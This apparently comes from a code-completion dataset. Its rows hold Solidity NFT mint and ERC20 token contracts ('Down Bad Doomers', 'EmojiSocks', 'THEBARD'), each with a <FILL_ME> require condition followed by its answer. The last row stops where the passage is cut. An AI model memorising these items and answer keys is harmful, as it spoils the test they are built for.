,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@######&&&&&##&&#######&&&&##&&&&&##&@////(#%@&,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@&######&&, *&&##&&#######&&####&&#////@@//#######@@,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#///(##@@ *&&##@@#######@&@@//&&@@&//@@@@@@%####@@,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#////@@&&@@, ,##,.###########///////////////////(##@@,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#(#&&,,&%%%%%%&&%%(#######################/////////((&&,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@%####&&&&&&&%%%%%%&&&&&&&&% ............. &&&&&&&&&//(/&&*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@%##@& @&##&&&&&&@ (#######% %### ,,@@//@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#####&&&@##&&* %# ,,@@@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@%####&&&@. ,,,,@@/,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@@@@@@&@ ... (######## %### ,##,,,,@@/,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@(,,,,@@ .... (#* @&## .## @@##, ,##@@@@@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(##((@@,, . ,//// .////// ,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,**@@,,,,. .... ... .## ,&%,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@,,,,. .... . %% %% *%%,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,%&&&%&&&&&&&&, .#% . ##* .## ,,,,,,@@*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&&&&&&&&#,,@@,,,,. .###% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,%&&%&&&&&&&&&&&#,,,,,, .#% %%. %########## #@#,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&/,,,,,,,, .%% #%/ //@@&&/,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,&&&%&&&&&&&&&&&&&/,,,,,, ,((**,, &&**(((//,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,&&&%&&&&&&&&&&&&&%%#,, ..,.&&%%%%#//((**%%*.*&%,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&&&&&&&& .....,,(/&&&&&@%((,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&&&&%%%%&&. .....&&%%%%%%%&&&&&&,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,%%&&&&&&&&&&&&&&%%%%%%%%%%* /%%%%%%%%%%&&&%%%%%%%&*,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,#&&&&&&&&&&&&&&&&&&&&&&%%%%%%&&&&&&&&&&% &%%%%%%%%%&&&&&&%%%%%%%%%%%%&&%,,,,,,,,,,,,,,,
,,,,,,,,,,,%&%&&&&%%%%%%%%%%&&&&&%%%%%%%%%&&&%&%&%&%&%%%%%%%%%%%%%%%%%%%%%%%%%&%&%%%%%%%%%%%%%%%%%&&&,,,,,,,,,,,,,
,,,,,,,//&&&&&&&&&&&&&&%&%%%%%%%%%%&&&&&%%%&&&&&&&&&&&&%&%%%%%%%%%%%%%&&&&&&&&&&%%%%%%%%%%%%%%%%%%%%%&&,,,,,,,,,,,
,,,,/%%&&&&%%&&&&&&&&&&%&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&&&&&&%%%%&&&&&%&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%&%%*,,,,,,,,
,,,,/&&&&%%%%%%%%%%%%%%%%%&&&&&&&&&&&&&&&&&&&&&&&%&&&&&%&&&&&&%%%&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&*,,,,,,,,
,,(&&&&%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&(,,,,,,
,,(&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&%,,,,
,,,,/&&%&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&%,,,,
,,,,/&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&&&&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&&&&%,,
*/
import '@divergencetech/ethier/contracts/erc721/BaseTokenURI.sol';
import '@divergencetech/ethier/contracts/erc721/ERC721ACommon.sol';
import '@divergencetech/ethier/contracts/sales/FixedPriceSeller.sol';
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '../base/SignatureVerifier.sol';
contract DownBadDoomers is ERC721ACommon, FixedPriceSeller, BaseTokenURI, SignatureVerifier {
// signs whitelist mints
mapping(address=>bool) public _whitelistSigners;
// fixed royalty
uint public _royaltyAmount;
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor(address payable beneficiary, address royaltyReceiver)
ERC721ACommon('Down Bad Doomers', 'DOOMERS')
BaseTokenURI('')
FixedPriceSeller(
0.05 ether,
Seller.SellerConfig({
// total 1050 supply
totalInventory: 975,
lockTotalInventory: true,
maxPerAddress: 0,
maxPerTx: 10,
freeQuota: 75,
lockFreeQuota: true,
reserveFreeQuota: true
}),
beneficiary
)
{
}
/**
@dev Mint tokens purchased via the Seller.
*/
function _handlePurchase(
address to,
uint256 n,
bool
) internal override {
}
/**
@notice Flag indicating that public minting is open.
*/
bool public publicMinting;
/**
@notice Set the `publicMinting` flag.
*/
function setPublicMinting(bool _publicMinting) external onlyOwner {
}
/**
@notice Add a whitelist signer.
*/
function addWhitelistSigner(address signer) external onlyOwner {
}
/**
@notice Remove a whitelist signer.
*/
function removeWhitelistSigner(address signer) external onlyOwner {
}
/**
@notice Mint as a member of the public.
*/
function mintPublic(address to, uint256 n) external payable {
}
/**
@dev Record of already-used whitelist signatures.
*/
mapping(bytes32 => bool) public _usedWhitelistHashes;
function mintWhitelist(
uint16 nonce,
bytes calldata sig
) external nonReentrant {
require(publicMinting, 'Whitelist minting closed');
bytes32 wlHash = getHashToSign(_msgSender(), nonce);
require(!_usedWhitelistHashes[wlHash], 'Nonce already used');
(address signer, , ) = getSigner(wlHash, sig);
require(<FILL_ME>)
_usedWhitelistHashes[wlHash] = true;
_safeMint(_msgSender(), 1);
}
/**
@dev Constructs the buffer that is hashed for validation with a minting
signature.
*/
function getHashToSign(address to, uint16 nonce)
public
pure
returns (bytes32)
{
}
/**
@dev Required override to select the correct baseTokenURI.
*/
function _baseURI() internal view override(BaseTokenURI, ERC721A) returns (string memory) {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (address receiver, uint256 royaltyAmount)
{
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721ACommon) returns (bool) {
}
}
| _whitelistSigners[signer],'Invalid signature' | 249,836 | _whitelistSigners[signer] |
"Sale Paused" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import "Ownable.sol";
import "ECDSA.sol";
import "ERC721A.sol";
interface INft is IERC721A {
error InvalidSaleState();
error NonEOA();
error WithdrawFailedVault();
}
contract emojiSocks is INft, Ownable, ERC721A {
using ECDSA for bytes32;
uint256 public maxSupply = 3000;
uint256 public publicPrice = 0.005 ether;
uint64 public WALLET_MAX = 100;
uint256 public maxFreeMint = 0;
string private _baseTokenURI = "";
string private baseExtension = ".json";
bool public pausedSale = true;
event Minted(address indexed receiver, uint256 quantity);
mapping(address => uint256) private _freeMintedCount;
constructor() ERC721A("EmojiSocks", "EMOJISOCKS") {}
/// @notice Function used during the public mint
/// @param quantity Amount to mint.
/// @dev checkState to check sale state.
function Mint(uint64 quantity) external payable {
require(<FILL_ME>)
uint256 price = publicPrice;
uint256 freeMintCount = _freeMintedCount[msg.sender];
if(quantity<=(maxFreeMint-freeMintCount)){
price=0;
_freeMintedCount[msg.sender] += quantity;
}
require(msg.value >= (price*quantity), "Not enough ether to purchase NFTs.");
require((_numberMinted(msg.sender) - _getAux(msg.sender)) + quantity <= WALLET_MAX, "Wallet limit exceeded");
require((_totalMinted()+ quantity) <= maxSupply, "Supply exceeded");
_mint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
/// @notice Fail-safe withdraw function, incase withdraw() causes any issue.
/// @param receiver address to withdraw to.
function withdrawTo(address receiver) public onlyOwner {
}
/// @notice Function used to change mint public price.
/// @param newPublicPrice Newly intended `publicPrice` value.
/// @dev Price can never exceed the initially set mint public price (0.069E), and can never be increased over it's current value.
function setRound(uint256 _maxFreeMint, uint64 newMaxWallet, uint256 newPublicPrice) external onlyOwner {
}
function setSaleState(bool _state) external onlyOwner {
}
/// @notice Function used to check the number of tokens `account` has minted.
/// @param account Account to check balance for.
function balance(address account) external view returns (uint256) {
}
/// @notice Function used to view the current `_baseTokenURI` value.
function _baseURI() internal view virtual override returns (string memory) {
}
/// @notice Sets base token metadata URI.
/// @param baseURI New base token URI.
function setBaseURI(string calldata baseURI) external onlyOwner {
}
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) public view override(ERC721A, IERC721A) returns (string memory) {
}
}
| !pausedSale,"Sale Paused" | 249,905 | !pausedSale |
null | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "BARD: From 0.");
require(to != address(0), "BARD: To 0.");
require(amount > 0, "BARD: Amount 0.");
bool takeFee = true;
bool shouldSwap = false;
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping) {
if(!tradingEnabled) require(<FILL_ME>)
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && !_excludedMaxTx[to]) require(balanceOf(to) + amount <= maxWallet);
if (to == _uniswapV2Pair && from != address(_uniswapV2Router) && !_excludedMaxTx[from]) {
require(amount <= maxSell);
shouldSwap = true;
}
}
if(_excludedFees[from] || _excludedFees[to]) takeFee = false;
uint256 contractBalance = balanceOf(address(this));
if (shouldSwap && swapEnabled && !_swapping && !_excludedFees[from] && !_excludedFees[to]) _swapBack(contractBalance);
_tokenTransfer(from, to, amount, takeFee, shouldSwap);
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| _excludedFees[from]||_excludedFees[to] | 249,934 | _excludedFees[from]||_excludedFees[to] |
"BARD: Trading open." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
require(<FILL_ME>)
_uniswapV2Router = IUniswapV2Router(defiDEXRouter);
_approve(address(this), address(_uniswapV2Router), _tSupply);
_uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
swapEnabled = true;
maxSell = _tSupply.mul(15).div(1000);
maxWallet = _tSupply.mul(15).div(1000);
tradingEnabled = true;
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| !tradingEnabled&&prepareStep,"BARD: Trading open." | 249,934 | !tradingEnabled&&prepareStep |
"BARD: Already used." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
require(<FILL_ME>)
buyFee = 25;
sellFee = 25;
prepareStep = true;
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| !prepareStep,"BARD: Already used." | 249,934 | !prepareStep |
"BARD: Already used." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
require(<FILL_ME>)
buyFee = 12;
sellFee = 12;
firstStep = true;
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| !firstStep,"BARD: Already used." | 249,934 | !firstStep |
"BARD: Already used." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
require(<FILL_ME>)
buyFee = 3;
sellFee = 3;
finish = true;
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| !finish,"BARD: Already used." | 249,934 | !finish |
"BARD: No." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
bool public tradingEnabled;
bool public prepareStep;
bool public firstStep;
bool public finish;
bool private _swapping;
bool public swapEnabled = false;
uint256 private constant _tSupply = 1e12 ether;
uint256 public maxSell = _tSupply;
uint256 public maxWallet = _tSupply;
uint256 private _fee;
uint256 public buyFee = 0;
uint256 private _previousBuyFee = buyFee;
uint256 public sellFee = 0;
uint256 private _previousSellFee = sellFee;
uint256 private _tokensForFee;
address payable private _feeReceiver;
address private _uniswapV2Pair;
modifier lockSwapping {
}
constructor() ERC20("The BARD", "BARD") payable {
}
receive() external payable {}
fallback() external payable {}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapBack(uint256 contractBalance) internal lockSwapping {
}
function _swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 tokenAmount) internal {
}
function go(address defiDEXRouter) public onlyOwner {
}
function prepare() public onlyOwner {
}
function decreaseABit() public onlyOwner {
}
function finalStep() public onlyOwner {
}
function adjustSwapEnabled(bool booly) public onlyOwner {
}
function adjustMaxSell(uint256 _maxSell) public onlyOwner {
require(<FILL_ME>)
maxSell = _maxSell;
}
function adjustMaxWallet(uint256 _maxWallet) public onlyOwner {
}
function adjustFeeReceiver(address feeReceiver) public onlyOwner {
}
function excludeFees(address[] memory accounts, bool booly) public onlyOwner {
}
function excludeMaxTx(address[] memory accounts, bool booly) public onlyOwner {
}
function adjustBuyFee(uint256 _buyFee) public onlyOwner {
}
function adjustSellFee(uint256 _sellFee) public onlyOwner {
}
function _withoutFee() internal {
}
function _withFee() internal {
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee, bool isSell) internal {
}
function _grabFees(address sender, uint256 amount, bool isSell) internal returns (uint256) {
}
function unclog() public lockSwapping {
}
function rescueForeignTokens(address tkn) public {
}
}
| _maxSell>=(totalSupply().mul(1).div(1000)),"BARD: No." | 249,934 | _maxSell>=(totalSupply().mul(1).div(1000)) |
"BARD: No." | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract THEBARD is Context, ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router private _uniswapV2Router;
mapping (address => bool) private _excludedFees;
mapping (address => bool) private _excludedMaxTx;
